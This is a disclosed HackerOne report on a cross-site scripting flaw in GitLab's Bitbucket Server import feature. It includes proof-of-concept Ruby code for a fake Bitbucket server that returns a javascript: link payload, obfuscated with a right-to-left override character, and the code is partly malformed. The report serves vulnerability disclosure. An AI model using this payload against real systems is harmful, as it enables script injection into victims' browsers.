


Cross-Site Scripting In BitbucketServer Import


HackerOne report #638698 by nyangawa on 2019-07-10, assigned to estrike:

The BitbucketServerImport::Importer of Gitlab trusts the response from a (maybe-malicious) Bitbucket server without sanitizing links of repositonies. An attacker could set up a false Bitbucket server and ask the victim to try to import repositories from it, the XSS payload could be triggered by the victim when be checks the links of the candidate repositories.

Steps to reproduce

Select "New Project" > "Import Project" > "Bitbucket Server"





the source code of the PoC server is like:

```
get '/rest/api/1.0/repos' do
  content_type :json
repos_resp
end
  def repos_resp
      "size": 1,
"limit": 25,
"isLastPage": true,
"values": [
          "slug": "\"",
                "id": 1,
"name": "My repo",
"description": "My repo description",
               {
    "href": "http://link/to/project"
                },
"public": true,
"links": {
    "clone": [
                              "href": "ssh://git@<baseURL>/PR3/my-repo.git",
"name": "ssh"
                        },
{
                             "href": "https://<baseURL>/scm/PRJ/my-repo.git",
"name": "http"
                        }
                     ],
"self": [
                              "href": "jAvAsCrIpT:\"Click HERE!!\u202e\";alert(document.domain)"
}
],
"start": 0
}.to_json
end
```

\u202e in the link is used as an example of a possible obfuscation trick.

Results of GitLab environment info

I tested this on gitlab.com

Impact

@djadmin, has this been merged/released? The workflow status is still set to "In review".

Attachments

